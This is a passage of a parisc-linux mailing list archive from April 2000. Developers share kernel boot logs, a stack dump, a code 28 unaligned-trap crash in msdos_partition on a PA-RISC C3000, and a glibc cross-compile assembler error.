sym53c896-1: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 0x4000100, expecting 0x100
sym53c896-1: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE POWER etc.!
sym53c896-1: giving up ...
kernel BUG at sym53c8xx.c:707!
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4000000
request_irq(513, c01cfc94, 0x4000000, sym53c8xx, c7f70000)
sym53c896-1: restart (scsi reset).
sym53c896-1: handling phase mismatch from SCRIPTS.
sym53c896-1: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.5k
scsi1 : sym53c8xx - version 1.5k
scsi : 2 hosts.
  Vendor: SEAGATE   Model: ST32272WC         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdb at scsi0, channel 0, id 8, lun 0
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdc at scsi0, channel 0, id 10, lun 0
sym53c875-0-<5,0>: tagged command queue depth set to 8
sym53c875-0-<8,0>: tagged command queue depth set to 8
sym53c875-0-<10,0>: tagged command queue depth set to 8
  Vendor: SEAGATE   Model: ST19171N          Rev: HP06
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdd at scsi1, channel 0, id 5, lun 0
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sde at scsi1, channel 0, id 6, lun 0
sym53c896-1-<5,0>: tagged command queue depth set to 8
sym53c896-1-<6,0>: tagged command queue depth set to 8
scsi : detected 5 SCSI disks total.
sym53c875-0-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4165272 [2033 MB] [2.0 GB]
Partition check:
 sda: unknown partition table
sym53c875-0-<8,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 8388314 [4095 MB] [4.1 GB]
 sdb:
Dumping Stack from c7fbc000 to c7fbc980:
c000 00000000 00000140 00000000 00000000 c0233980 00000000 00000000 ffffffff
c020 00000007 00000014 00000000 00000000 c02396f8 00000000 00000000 c02317f0
c040 c02317f0 c7fa4000 c025c000 00000000 00000000 00000000 00000000 00000000
c060 00000000 00000000 00000001 00000000 00000000 00000000 00000000 c025c000
c080 c025c000 c7f7c000 00000000 00000000 00000000 c02c205c 00000000 c7fbc09c
c0a0 c7fbc09c c7fbc0a4 c012e9cc c7fbc688 00000000 00000000 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 c7fbc000 c01344f0
c0e0 00000000 00000000 000002ed 00000000 00000000 00000022 00000000 0000030f
c100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 00000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 fffffeff fffffeff ffffffff 00000000 ffffffff ffffffff ffffffff ffffffff
c1e0 ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff ffffffff
c200 00000800 00000800 00000400 00000400 ffffffff ffffffff ffffffff ffffffff
c220 00007377 61707065 72000000 00000000 00000000 00000000 00000000 00000000
c240 00000000 c7fee000 c063ff18 f00008c4 f0400004 00000000 c7ffee00 c0101e58
c260 c02c1800 00504d64 c7ff0000 c0130370 c01303a8 c0234000 c7fee000 c063ff18
c280 f0400004 c02626ab 0004000a 0000003c 0000003e 0000000b c0233000 c02626cf
c2a0 c02626cf 00000004 00000000 c0101fe0 00000001 00000000 0000003e 0000003c
c2c0 00000024 c02339c8 f000017c f0000174 000000ff 0025c5c0 c0260000 c025e000
c2e0 c00003a8 c02626cf 00000003 00000000 c022c000 00000000 c7fbca80 c01034f0
c300 c0130370 00000000 00000000 00000000 c023a000 c0239040 c0239050 00000000
c320 c02391f0 00000000 00000000 00000000 00000000 00000000 c7fbc334 00000000
c340 00000000 00000000 00000000 00000001 00000000 00000000 c7fbc358 c7fbc358
c360 c7fbc360 c012e9cc c7fbc368 00000000 00000000 00000000 00000000 00000000
c380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c3a0 00000000 00000000 00000000 c0103448 00000000 00000000 00000000 00000000
c3c0 c02396f8 00000000 c025c000 00000000 00000000 00000000 00000000 00000000
c3e0 00000000 00000000 00000000 c0101ff4 00000000 00000000 00000000 00000000
c400 00000000 00000000 00000000 00000000 c7fbc000 c02396f8 00000000 c025c000
c420 c025c500 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c440 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c460 00000000 00000000 00000000 c0248a00 00000000 00000000 00000000 00000000
c480 00000001 c023d000 00000000 00000000 c00003a8 c02339bc c02339bc c01dba4c
c4a0 00000000 00000000 c0248938 c0248938 00000000 00000000 00000000 00000000
c4c0 c025c500 f0400004 00000000 c01de224 c0237800 ffffffff c7ffdde0 c0147284
c4e0 c7fbc000 c02396f8 c0255460 c024ba40 c025c500 00000000 00000000 00000000
c500 f00008c4 f0400004 00000000 ffffffff 00000000 c02c1800 00504d64 c7ff0000
c520 c02c0800 c02c3000 c022c000 c024c87c c025b0dc c025c000 c025c500 00000000
c540 00504d64 c7ff0000 c02c0800 c02c3000 c022c000 c025b104 c025b0ec c020c5e8
c560 00000004 00000037 c0130370 c024c848 00000064 0000003e 0000003c 0000003b
c580 c7ff0000 c02c0800 c02c3000 00000000 c00003a8 c02339bc c02339bc c01bad84
c5a0 00000004 00000000 c02507b0 c02507b0 0000000b 0000003e 0000003c 00000015
c5c0 c02c1800 c02ca800 c0242000 c0242000 c01bb000 00000000 00000000 c02426c4
c5e0 c02ca800 c0242000 c0242000 c01bb000 00000000 00000000 00000000 00000000
c600 00000000 00000000 00000000 007ffeda 00000000 00000000 c01bad8b 00000001
c620 00000000 00000000 c0130370 c01c725c 00000000 00000018 39393820 53656167
c640 c7feb720 c02ca800 25000000 00000000 00003000 00000000 00000000 c7f7b460
c660 c0242000 0000000b 00000000 c0168bd4 c02345fc 00000014 c01c3000 000000a0
c680 c0242000 00000010 c0242000 00000001 07fbc6c0 c0260000 c025e000 c00003a8
c6a0 c02626b2 00000003 00000000 c0168c78 00000000 00000400 c7fbc780 c0130370
c6c0 f0000174 f000017c 73646200 c7fbc780 f0000174 f000017c f00008c4 f0400004
c6e0 00000000 ffffffff 00000000 c02426c4 c02bf800 c0242000 c0242000 c0242000
c700 00000010 c0242000 c02bf800 c0242000 c0242000 c02c9800 00000020 00000010
c720 c0242720 00000023 00000000 c01449a0 00000000 0000003e 0000003c 00000024
c740 00000000 00000001 00000004 00000fff fffffffd c7fbc790 c7fbc6c8 c0168a64
c760 00000000 00000003 c0168b48 c0168b48 00000010 c02345fc 00000000 00000028
c780 f00008c4 f0400004 00000000 ffffffff 00000000 c02426c4 c02bf800 00000011
c7a0 c0242720 00000810 00000000 00000010 c0237800 c025f180 c7fbc880 0000001f
c7c0 00000010 00000005 f0000174 f000017c f00008c4 f0400004 00000000 ffffffff
c7e0 00000000 c02426c4 00000010 00000011 c0242720 00000810 00000000 c02372e4
c800 00000000 c02626ae ffffffff ffffffff 0000000b c0233000 c02626b3 c02626b4
c820 00000004 00000005 00000000 c0169324 00000001 c0237800 0000003c 0000004d
c840 0004ff0b 00000000 c0169324 c7f635be 00000001 c0242720 00000011 00000001
c860 c0100000 00000000 c7f63400 c02ab000 c7f62160 0000000f 00000002 c0169000
c880 c0169000 00000085 00005000 00000015 000055aa ffffffff 00000001 00000000
c8a0 c7fbc898 c7fbc898 c7f62160 c022c000 c7f62160 00000001 c7fbc980 00000000
c8c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c8e0 00000000 00000000 c016939c c01693a0 00000000 c7f6b000 00000000 00000000
c900 0c781096 00000000 c7f635ca c0242720 00000011 c0242720 00000001 00000810
c920 00000010 00000002 c02626f2 c019b790 00000000 00000000 00000000 00000000
c940 00000008 c02626f8 00000080 00000000 00000080 00000080 c0231800 c02626ab
c960 f0000174 f000017c c014e83c c01046d4 00000008 c7fbbca0 00000000 00000004

Unexpected Interruption!: Code=28 regs=c7fbc840 (Addr=00000000)

PSW  : 0004ff0b  GR 1 : 00000000  GR 2 : c0169324  GR 3 : c7f635be  
GR 4 : 00000001  GR 5 : c0242720  GR 6 : 00000011  GR 7 : 00000001  
GR 8 : c0100000  GR 9 : 00000000  GR10 : c7f63400  GR11 : c02ab000  
GR12 : c7f62160  GR13 : 0000000f  GR14 : 00000002  GR15 : c0169000  
GR16 : c0169000  GR17 : 00000085  GR18 : 00005000  GR19 : 00000015  
GR20 : 000055aa  GR21 : ffffffff  GR22 : 00000001  GR23 : 00000000  
GR24 : c7fbc898  GR25 : c7fbc898  GR26 : c7f62160  GR27 : c022c000  
GR28 : c7f62160  GR29 : 00000001  GR30 : c7fbc980  GR31 : 00000000  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c016939c c01693a0
 IIR : 0c781096 ISR : 00000000 IOR : c7f635ca



From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cross compiling glibc
Date: Fri, 14 Apr 2000 16:04:58 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <200004142304.QAA20393@milano.cup.hp.com>
References: <200004142232.PAA20329@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618891 32313 80.91.229.3 (22 Nov 2014 01:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Apr 14 17:06:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA13394
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 17:06:01 -0600
Original-Received: (qmail 19613 invoked by uid 15267); 14 Apr 2000 23:06:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19606 invoked from network); 14 Apr 2000 23:06:00 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 23:06:00 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel1.hp.com (Postfix) with ESMTP id 140EE1850
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 16:05:51 -0700 (PDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 75E33500B4
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 18:04:52 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id QAA20393 for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 16:04:58 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 14 Apr 2000 15:32:21 PDT."
             <200004142232.PAA20329@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7211

Grant Grundler wrote:

> Since my NFS root isn't on my build machine, I used
>     make install install_root=/linux/root MAKEINFO=

and since I sent the mail *before* the make install completed...
It died with:

make[2]: Entering directory `/linux/grundler/glibc/setjmp'
hppa1.1-linux-gcc ../sysdeps/hppa/setjmp.S -c  -I../include -I. -I/linux/grundler/glibc/hppa1.1-linux/setjmp -I.. -I../libio  -I/linux/grundler/glibc/hppa1.1-linux -I../sysdeps/hppa/elf -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/include -isystem /opt/puffin/include  -include ../include/libc-symbols.h     -DASSEMB
 LER   -o /linux/grundler/glibc/hppa1.1-linux/setjmp/setjmp.o
../sysdeps/hppa/setjmp.S: Assembler messages:
../sysdeps/hppa/setjmp.S:102: Error: Missing .callinfo for this procedure
make[2]: *** [/linux/grundler/glibc/hppa1.1-linux/setjmp/setjmp.o] Error 1
make[2]: Leaving directory `/linux/grundler/glibc/setjmp'
make[1]: *** [setjmp/subdir_lib] Error 2
make[1]: Leaving directory `/linux/grundler/glibc'
make: *** [install] Error 2


Using the wrong assembler? (or something else stupid like that?)

grant


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] msdos_partion+120 == code 28
Date: Fri, 14 Apr 2000 16:11:42 -0700
Lines: 230
Approved: news@gmane.org
Message-ID: <200004142311.QAA20419@milano.cup.hp.com>
References: <200004142233.PAA20334@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618892 32316 80.91.229.3 (22 Nov 2014 01:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
Original-X-From: grundler@cup.hp.com  Fri Apr 14 17:11:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA13620
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 17:11:42 -0600
Original-Received: (qmail 22819 invoked by uid 15267); 14 Apr 2000 23:11:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22802 invoked from network); 14 Apr 2000 23:11:40 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 14 Apr 2000 23:11:40 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by palrel3.hp.com (Postfix) with ESMTP id 678A82D31
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 16:11:37 -0700 (PDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id C96B64FE7D
	for <parisc-linux@thepuffingroup.com>; Fri, 14 Apr 2000 18:11:36 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id QAA20419; Fri, 14 Apr 2000 16:11:42 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 14 Apr 2000 15:33:45 PDT."
             <200004142233.PAA20334@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7212

Grant Grundler wrote:
> code 28 == "Unaligned Data Reference Trap".
> (Gee, where have I seen this before? :^(  )
> 
> IAOQ  == 0xc016939c msdos_partition+120

So here's the output using "CONFIG_MAC_PARTITION=y"
and "# CONFIG_MSDOS_PARTITION is not set". It gets
just as far as without SCSI (dies after getting BOOTP reply).

grant

ps. I still have to write the sba_map_sg() and sba_unmap_sg()
for "real" SCSI support...but a simple version (no optimizations)
should be easy.

Grant Grundler
Unix Development Lab
+1.408.447.7253


Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.80.76

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@rock Fri Apr 14 15:46:37 PDT 2000
0/vmlinux 2204600 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
0/ramdisk 614400 bytes @ 0x220bb8
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 0010190c first 00100000 n 3
Segment 0 load 00100000 size 1226084 mediaptr 0x1000
Segment 1 load 0022c000 size 101928 mediaptr 0x12d000
Segment 2 load 00248000 size 90112 mediaptr 0x146000
branching to kernel entry point 0x0010190c
The Kernel has started...
Free memory starts at: 0xc02cc000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.80.76'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU(s): 1 x PA8500 at 400.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.3.99-pre1 (grundler@rock) (gcc version 2.9-hppa-991112) #84 Fri Apr 14 15:46:12 PDT 2000
init_bootmem 716 32768
init_bootmem complete
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 758.58 BogoMIPS
Memory: 124740k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
Scanning bus 00
Found 00:60 [1011/0019] 000200 00
Found 00:68 [11d4/1889] 000401 00
Found 00:70 [100b/0002] 000101 00
Found 00:71 [100b/000e] 000680 00
Found 00:72 [100b/0012] 000c03 00
Found 00:78 [1000/000b] 000100 00
Found 00:79 [1000/000b] 000100 00
Fixups for bus 00
lba_fixup_bus(0xc7ffd660) bus 0 sysdata 0xc7feb0e0
request_irq(258, c0123e94, 0x0, iosapic, c7fbb060)
request_irq(259, c0123e94, 0x0, iosapic, c7fbb080)
request_irq(260, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(261, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(262, c0123e94, 0x0, iosapic, c7fbb020)
request_irq(263, c0123e94, 0x0, iosapic, c7fbb040)
request_irq(264, c0123e94, 0x0, iosapic, c7fbb040)
Bus scan for 00 returning with max=00
lba version TR2.1 (0x2) found at 0xfed32000
Scanning bus 01
Found 01:30 [1000/000f] 000100 00
Fixups for bus 01
lba_fixup_bus(0xc7ffd700) bus 1 sysdata 0xc7feb1a0
request_irq(265, c0123e94, 0x0, iosapic, c7fbb260)
Bus scan for 01 returning with max=01
lba version TR2.1 (0x2) found at 0xfed38000
Scanning bus 02
Found 02:08 [12ae/0001] 000200 00
Fixups for bus 02
lba_fixup_bus(0xc7ffd7a0) bus 2 sysdata 0xc7feb220
request_irq(266, c0123e94, 0x0, iosapic, c7fbb4c0)
Bus scan for 02 returning with max=02
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA at 0xfed00000
IOS_DIST_BASE   : 000000ff fee00001
IOS_DIST_MASK   : 000000ff ffff0000
IOS_DIST_ROUTE  : 34000000 00000000

IOS_DIRECT_BASE : 000000ff fee00200
IOS_DIRECT_MASK : 000000ff ffff0000
IOS_DIRECT_ROUTE: 00000000 00000000
SBA found Astro 2.1 at 0xfed00000
sba_hw_init() hpa 0xfed00000 ioc_ctl 0x29cf ->sba_ioc_init hpa 0xfed22000 mem 128MBIOV 16MB (24 bits) PDIR size 0x8000 base c7fa8000
sba_ioc_init IOV base 0x1 mask 0xff000000
lba_init_iregs() ibase 0x1 imask 0xfc000000
lba_init_iregs() base_addr fed38000
lba_init_iregs() base_addr fed32000
lba_init_iregs() base_addr fed30000
lba_init_iregs() done
sba_ioc_init done
sba_common_init() res_size 0x200
lba: lba_bios_init
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 1, device 6, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x3 on pci bus 1 device 6 function 0 irq 768
sym53c875-0: NCR clock is 40037KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf4800000
request_irq(768, c01cf7d4, 0x4000000, sym53c8xx, c7f76000)
sym53c875-0: restart (scsi reset).
sym53c875-0: Downloading SCSI SCRIPTS.
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 0 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4002000
request_irq(513, c01cf7d4, 0x4000000, sym53c8xx, c7f70000)
sym53c896-1: suspicious SCSI data while resetting the BUS.
sym53c896-1: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 0x4000100, expecting 0x100
sym53c896-1: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE POWER etc.!
sym53c896-1: giving up ...
kernel BUG at sym53c8xx.c:707!
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4000000
request_irq(513, c01cf7d4, 0x4000000, sym53c8xx, c7f70000)
sym53c896-1: restart (scsi reset).
sym53c896-1: handling phase mismatch from SCRIPTS.
sym53c896-1: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.5k
scsi1 : sym53c8xx - version 1.5k
scsi : 2 hosts.
  Vendor: SEAGATE   Model: ST32272WC         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdb at scsi0, channel 0, id 8, lun 0
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdc at scsi0, channel 0, id 10, lun 0
sym53c875-0-<5,0>: tagged command queue depth set to 8
sym53c875-0-<8,0>: tagged command queue depth set to 8
sym53c875-0-<10,0>: tagged command queue depth set to 8
  Vendor: SEAGATE   Model: ST19171N          Rev: HP06
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdd at scsi1, channel 0, id 5, lun 0
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sde at scsi1, channel 0, id 6, lun 0
sym53c896-1-<5,0>: tagged command queue depth set to 8
sym53c896-1-<6,0>: tagged command queue depth set to 8
scsi : detected 5 SCSI disks total.
sym53c875-0-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4165272 [2033 MB] [2.0 GB]
Partition check:
 sda: unknown partition table
sym53c875-0-<8,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 8388314 [4095 MB] [4.1 GB]
 sdb: unknown partition table
sym53c875-0-<10,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdc: hdwr sector= 512 bytes. Sectors= 8388314 [4095 MB] [4.1 GB]
 sdc: unknown partition table
sym53c896-1-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sdd: hdwr sector= 512 bytes. Sectors= 17783112 [8683 MB] [8.7 GB]
 sdd: unknown partition table
sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sde: hdwr sector= 512 bytes. Sectors= 17773524 [8678 MB] [8.7 GB]
 sde: unknown partition table
Linux Tulip driver version 0.9.4.2 (Mar 21, 2000)
pcibios_enable_device: Enabling device 00:0c.0 (0057 -> 0157)
eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:36:00:89, IRQ 514.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
request_irq(514, c01b3434, 0x4000000, eth0, c7fb0800)
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 15.8.80.76, my address is 15.8.80.77


From - Thu Nov 08 21:12:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] msdos_partion+120 == code 28
Date: Fri, 14 Apr 2000 18:16:23 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20000414181623.A14133@puffin.external.hp.com>
References: <200004142233.PAA20334@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618892 32321 80.91.229.3 (22 Nov 2014 01:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:52 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Fri Apr 14 18:16:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA14234
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Apr 2000 18:16:30 -0600
Original-Received: (qmail 23188 invoked by uid 15267); 15 Apr 2000 00:16:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23174 invoked from network); 15 Apr 2000 00:16:29 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 15 Apr 2000 00:16:29 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id SAA14228;
	Fri, 14 Apr 2000 18:16:23 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <200004142233.PAA20334@milano.cup.hp.com>; from Grant Grundler on Fri, Apr 14, 2000 at 03:33:45PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7213

> So we are making forward progress...LAN and SCSI both sort-of talk
> on the C3k. I think something in the LAN stack is causing an HPMC
> but am so fed up with tulip driver I decided to look at SCSI instead.
> Mostly good news (we see disks and can query them) until msdos
